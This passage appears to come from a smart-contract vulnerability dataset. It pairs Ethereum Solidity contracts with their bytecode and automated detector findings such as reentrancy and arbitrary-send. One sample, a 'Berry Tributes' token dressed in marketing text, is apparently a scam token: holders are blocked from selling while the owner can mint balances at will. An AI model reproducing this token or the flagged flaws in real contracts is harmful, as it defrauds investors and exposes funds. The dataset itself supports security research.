yet been called successfully. function updateStage() public timedTransitions returns (Stages) { return stage; } function start() public onlyOwner atStage(Stages.Deployed) returns (uint) { if (!singularDTVToken.transferFrom(msg.sender, this, CAP)) { revert(); } startDate = now; stage = Stages.GoingAndGoalNotReached; checkInvariants(); return startDate; } /// @dev Contract constructor function sets owner and start date. function SingularDTVLaunch( address singularDTVTokenAddress, address _workshop, address _owner, uint _total, uint _unit_price, uint _duration, uint _threshold, uint _singulardtvwoskhop_fee ) { singularDTVToken = AbstractSingularDTVToken(singularDTVTokenAddress); workshop = _workshop; owner = _owner; CAP = _total; // Total number of tokens (wei scale) valuePerToken = _unit_price; // wei per token DURATION = _duration; // in seconds TOKEN_TARGET = _threshold; // Goal threshold SingularDTVWorkshopFee = _singulardtvwoskhop_fee; } /// @dev Fallback function acts as fund() when stage GoingAndGoalNotReached /// or GoingAndGoalReached. And act as withdrawFunding() when EndedAndGoalNotReached. /// otherwise throw. function () public payable { if (stage == Stages.GoingAndGoalNotReached || stage == Stages.GoingAndGoalReached) fund(); else if (stage == Stages.EndedAndGoalNotReached) withdrawContribution(); else revert(); } }
0x606060405236156101225763ffffffff60e060020a6000350416630b97bc8681146101985780630d616d20146101bd5780631be05289146101e25780631f13076114610207578063299ed37a1461022c5780633c0679451461025357806342e94c901461027857806354fd4d50146102a957806358c62b12146103345780636c1a5b8c14610359578063720c47981461037e5780637da63c59146103ad57806387efeeb6146103d75780638da5cb5b14610406578063a8fa8e5214610435578063ad1aa2521461045a578063b3f0ca511461047f578063b60d4288146104b0578063be9a6555146104ca578063c040e6b8146104ef578063c062f57814610526578063c53adaff1461055d578063ec81b4831461058c578063f3a44fe1146105b1575b5b60015b600f5460ff16600481111561013757fe5b1480610154575060035b600f5460ff16600481111561015257fe5b145b15610167576101616105d8565b50610194565b60025b600f5460ff16600481111561017b57fe5b141561018f576101616108c2565b50610194565b600080fd5b5b5b005b34156101a357600080fd5b6101ab610a88565b60405190815260200160405180910390f35b34156101c857600080fd5b6101ab6108c2565b60405190815260200160405180910390f35b34156101ed57600080fd5b6101ab610a8e565b60405190815260200160405180910390f35b341561021257600080fd5b6101ab610a94565b60405190815260200160405180910390f35b341561023757600080fd5b61023f610a9a565b604051901515815260200160405180910390f35b341561025e57600080fd5b6101ab610b0e565b60405190815260200160405180910390f35b341561028357600080fd5b6101ab600160a060020a0360043516610b14565b60405190815260200160405180910390f35b34156102b457600080fd5b6102bc610b26565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102f95780820151818401525b6020016102e0565b50505050905090810190601f1680156103265780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561033f57600080fd5b6101ab610bc4565b60405190815260200160405180910390f35b341561036457600080fd5b6101ab610bca565b60405190815260200160405180910390f35b341561038957600080fd5b610391610bd0565b604051600160a060020a03909116815260200160405180910390f35b34156103b857600080fd5b61023f600435610bdf565b604051901515815260200160405180910390f35b34156103e257600080fd5b610391610c2e565b604051600160a060020a03909116815260200160405180910390f35b341561041157600080fd5b610391610c3d565b604051600160a060020a03909116815260200160405180910390f35b341561044057600080fd5b6101ab610c4c565b60405190815260200160405180910390f35b341561046557600080fd5b6101ab610c52565b60405190815260200160405180910390f35b341561048a57600080fd5b6101ab600160a060020a0360043516610da3565b60405190815260200160405180910390f35b6101ab6105d8565b60405190815260200160405180910390f35b34156104d557600080fd5b6101ab610db5565b60405190815260200160405180910390f35b34156104fa57600080fd5b610502610eb8565b6040518082600481111561051257fe5b60ff16815260200191505060405180910390f35b341561053157600080fd5b610502610ec1565b6040518082600481111561051257fe5b60ff16815260200191505060405180910390f35b341561056857600080fd5b610391610f47565b604051600160a060020a03909116815260200160405180910390f35b341561059757600080fd5b6101ab610f56565b60405190815260200160405180910390f35b34156105bc57600080fd5b61023f610f5c565b604051901515815260200160405180910390f35b6009546006546000918291829142039081106106525760015b600f5460ff16600481111561060257fe5b141561062257600f80546002919060ff19166001835b0217905550610652565b60035b600f5460ff16600481111561063657fe5b141561065257600f80546004919060ff19166001835b02179055505b5b5b60016003815b600f5460ff16600481111561066b57fe5b14158015610694575080600481111561068057fe5b600f5460ff16600481111561069157fe5b14155b1561069e57600080fd5b600b5434670de0b6b3a7640000028115156106b557fe5b049450600085116106c557600080fd5b60055485600c540111156106dd57600c546005540394505b600c805486019055600b54670de0b6b3a76400009086025b049350833411801561072e575033600160a060020a03166108fc8534039081150290604051600060405180830381858888f19350505050155b1561073857600080fd5b600a805485019055600160a060020a03338181166000908152600d6020908152604080832080548a019055600e90915280822080548a0190556001549093169263a9059cbb92918991516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156107c957600080fd5b6102c65a03f115156107da57600080fd5b5050506040518051905015156107ef57600080fd5b60015b600f5460ff16600481111561080357fe5b141561082a57600754600c541061082a57600f80546003919060ff19166001835b02179055505b5b60035b600f5460ff16600481111561083f57fe5b141561086757600554600c54141561086757600f80546004919060ff19166001835b02179055505b5b610870611141565b33600160a060020a03167ffa35a310d7113dddce1c275da946348e9aaebf9050b00b372033c4d84b0bd6eb858760405191825260208201526040908101905180910390a28495505b5b50505b50505090565b60095460065460009182918291420390811061093c5760015b600f5460ff1660048111156108ec57fe5b141561090c57600f80546002919060ff19166001835b021790555061093c565b60035b600f5460ff16600481111561092057fe5b141561093c57600f80546004919060ff19166001835b02179055505b5b5b6002805b600f5460ff16600481111561095357fe5b1461095d57600080fd5b600160a060020a03338181166000908152600e60205260408082208054908390556001546008549199508516946323b872dd9493911691899190516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156109eb57600080fd5b6102c65a03f115156109fc57600080fd5b505050604051805190501515610a1157600080fd5b600160a060020a0333166000908152600d60205260408120805490829055600a805482900390559350831115610a7257600160a060020a03331683156108fc0284604051600060405180830381858888f193505050501515610a7257600080fd5b5b610a7b611141565b8294505b5b505b50505090565b60095481565b60065481565b600c5481565b600030600160a060020a031631600a541115610b0757600030600160a060020a031631118015610af55750600354600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050155b15610aff57600080fd5b506001610b0b565b5060005b90565b600a5481565b600d6020526000908152604090205481565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bbc5780601f10610b9157610100808354040283529160200191610bbc565b820191906000526020600020905b815481529060010190602001808311610b9f57829003601f168201915b505050505081565b60045481565b60075481565b600254600160a060020a031681565b60085460009033600160a060020a03908116911614610bfd57600080fd5b6000805b600f5460ff166004811115610c1257fe5b14610c1c57600080fd5b600b839055600191505b5b505b919050565b600154600160a060020a031681565b600854600160a060020a031681565b600b5481565b60008060006009544203905060065481101515610ccd5760015b600f5460ff166004811115610c7d57fe5b1415610c9d57600f80546002919060ff19166001835b0217905550610ccd565b60035b600f5460ff166004811115610cb157fe5b1415610ccd57600f80546004919060ff19166001835b02179055505b5b5b6002805b600f5460ff166004811115610ce457fe5b14610cee57600080fd5b600c54600554039250600083118015610d855750600154600854600160a060020a039182169163a9059cbb91168560006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610d6857600080fd5b6102c65a03f11515610d7957600080fd5b50505060405180519050155b15610d8f57600080fd5b610d97611141565b8293505b5b505b505090565b600e6020526000908152604090205481565b60085460009033600160a060020a03908116911614610dd357600080fd5b6000805b600f5460ff166004811115610de857fe5b14610df257600080fd5b600154600554600160a060020a03909116906323b872dd903390309060006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610e6657600080fd5b6102c65a03f11515610e7757600080fd5b505050604051805190501515610e8c57600080fd5b42600955600f80546001919060ff191682805b0217905550610eac611141565b60095491505b5b505b90565b600f5460ff1681565b6009546006546000914203908110610f375760015b600f5460ff166004811115610ee757fe5b1415610f0757600f80546002919060ff19166001835b0217905550610f37565b60035b600f5460ff166004811115610f1b57fe5b1415610f3757600f80546004919060ff19166001835b02179055505b5b5b600f5460ff1691505b5b5090565b600354600160a060020a031681565b60055481565b60008060008060006009544203905060065481101515610fda5760015b600f5460ff166004811115610f8a57fe5b1415610faa57600f80546002919060ff19166001835b0217905550610fda565b60035b600f5460ff166004811115610fbe57fe5b1415610fda57600f80546004919060ff19166001835b02179055505b5b5b6004805b600f5460ff166004811115610ff157fe5b14610ffb57600080fd5b600a80546000918290559550851161101257600080fd5b60045460649086025b6002549190049450600160a060020a031684860380156108fc0290604051600060405180830381858888f19350505050151561105657600080fd5b600354600160a060020a031684156108fc0285604051600060405180830381858888f19350505050151561108957600080fd5b600c546005540392506000831180156111205750600154600854600160a060020a039182169163a9059cbb91168560006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561110357600080fd5b6102c65a03f1151561111457600080fd5b50505060405180519050155b1561112a57600080fd5b611132611141565b600195505b5b505b5050505090565b30600160a060020a031631600a54111561115a57600080fd5b5b5600a165627a7a723058208b81003276feed36b8c7132b62d3d688315295f625da832898a0f1940b2d51ee0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
571
0x57289032e1b22c597440dd1a416504893cfddc2a
/** *Submitted for verification at Etherscan.io on 2021-02-27 */ /* WHAT IS Berry Tributes? Berry Tributes is a decentralized ethereum based deflationary token which is used for bidding at auction sales. Users can bid and participate in auctions using AngryBird at auction or on shopping sites. members can sell products, participate in services and auctions using bigcoin. Berry Tributes offers you a structure that allows you to create your own e-commerce space. You use Berry Tributes when selling products, services and auctions. AngryBird will be used in many shopping and auction sites in the future with its partner companies. SMART INSURANCE Berry Tributes tracks exact amounts of user funds as they dynamically move across various protocols, and bills by the second using a streamed payment system. The result is minimized costs and maximized flexibility! Currently supported currencies: ETH and DAI. The open sourced codebase can be found in the public Github linked in the DEVELOPER RESOURCES section of this documentation. When a user makes changes to their funds, Berry Tributes Smart Insurance System detects it and recommends a new coverage combination. Upon approval, the coverage is adjusted to match the new balance of funds. Pay As You Go and Only Pay What You Owe Say goodbye to buying static chunks of coverage and micromanaging cover amounts, expiries and being stuck with coverage you don’t need when you move your assets between protocols. Experience flexibility and minimized costs: Real time tracking of user funds as they move across various platforms Automatically adjustable coverage amount for exact user funds per protocol Streamed payments bill by the second so you only pay for coverage you use for the time you use it When a user makes changes to their funds, Berry Tributes Smart Insurance System detects it and recommends a new coverage combination. Upon approval, the coverage is adjusted to match the new balance of funds. */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract Berry { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a723158204e55141c09ea34e1ce30ed83f9ff5b867c50d92a011d0f5e065945c51b14b86e64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
572
0xff13c4ed92c2df8eaef19b8fe19929e469e6b0bf
// SPDX-License-Identifier: AGPL-3.0 pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title yV1 * @dev yearn v1 vault */ interface yV1 { function deposit(uint256 _amount) external; function withdraw(uint256 _shares) external; } /** * @title yS1 * @dev yearn v1 strategy */ interface yS1 { function setStrategist(address _strategist) external; function setKeeper(address _keeper) external; } /** * @title yV2 * @dev yearn v2 vault */ interface yV2 { function deposit() external; function deposit(uint256 _amount) external; function withdraw() external; function withdraw(uint256 _shares) external; } /** * @title yS2 * @dev yearn v2 strategy */ interface yS2 { function setRewards(address _rewards) external; } /** * @title 1SplitAudit * @dev 1split on-chain aggregator */ interface One { /** * @notice Calculate expected returning amount of `destToken` * @param fromToken (IERC20) Address of token or `address(0)` for Ether * @param destToken (IERC20) Address of token or `address(0)` for Ether * @param amount (uint256) Amount for `fromToken` * @param parts (uint256) Number of pieces source volume could be splitted, * works like granularity, higly affects gas usage. Should be called offchain, * but could be called onchain if user swaps not his own funds, but this is still considered as not safe. * @param flags (uint256) Flags for enabling and disabling some features, default 0 */ function getExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags // See contants in IOneSplit.sol ) external view returns( uint256 returnAmount, uint256[] memory distribution ); /** * @notice Calculate expected returning amount of `destToken` * @param fromToken (IERC20) Address of token or `address(0)` for Ether * @param destToken (IERC20) Address of token or `address(0)` for Ether * @param amount (uint256) Amount for `fromToken` * @param parts (uint256) Number of pieces source volume could be splitted, * works like granularity, higly affects gas usage. Should be called offchain, * but could be called onchain if user swaps not his own funds, but this is still considered as not safe. * @param flags (uint256) Flags for enabling and disabling some features, default 0 * @param destTokenEthPriceTimesGasPrice (uint256) destToken price to ETH multiplied by gas price */ function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, // See constants in IOneSplit.sol uint256 destTokenEthPriceTimesGasPrice ) external view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ); /** * @notice Swap `amount` of `fromToken` to `destToken` * @param fromToken (IERC20) Address of token or `address(0)` for Ether * @param destToken (IERC20) Address of token or `address(0)` for Ether * @param amount (uint256) Amount for `fromToken` * @param minReturn (uint256) Minimum expected return, else revert * @param distribution (uint256[]) Array of weights for volume distribution returned by `getExpectedReturn` * @param flags (uint256) Flags for enabling and disabling some features, default 0 */ function swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 minReturn, uint256[] memory distribution, uint256 flags // See contants in IOneSplit.sol ) external payable returns(uint256); /** * @notice Swap `amount` of `fromToken` to `destToken` * @param fromToken (IERC20) Address of token or `address(0)` for Ether * @param destToken (IERC20) Address of token or `address(0)` for Ether * @param amount (uint256) Amount for `fromToken` * @param minReturn (uint256) Minimum expected return, else revert * @param distribution (uint256[]) Array of weights for volume distribution returned by `getExpectedReturn` * @param flags (uint256) Flags for enabling and disabling some features, default 0 * @param referral (address) Address of referral * @param feePercent (uint256) Fees percents normalized to 1e18, limited to 0.03e18 (3%) */ function swapWithReferral( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 minReturn, uint256[] calldata distribution, uint256 flags, // See contants in IOneSplit.sol address referral, uint256 feePercent ) external payable returns(uint256); } contract Toolkit { address public oneProto = address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e); constructor() public {} function setStrategists(address[] calldata _targets, address _strategist) public { for(uint256 i = 0; i < _targets.length; ++i) { yS1(_targets[i]).setStrategist(_strategist); } } function setKeepers(address[] calldata _targets, address _keeper) public { for(uint256 i = 0; i < _targets.length; ++i) { yS1(_targets[i]).setKeeper(_keeper); } } function setRewards(address[] calldata _targets, address _rewards) public { for(uint256 i = 0; i < _targets.length; ++i) { yS2(_targets[i]).setRewards(_rewards); } } function approves( address[] calldata _tokens, address[] calldata 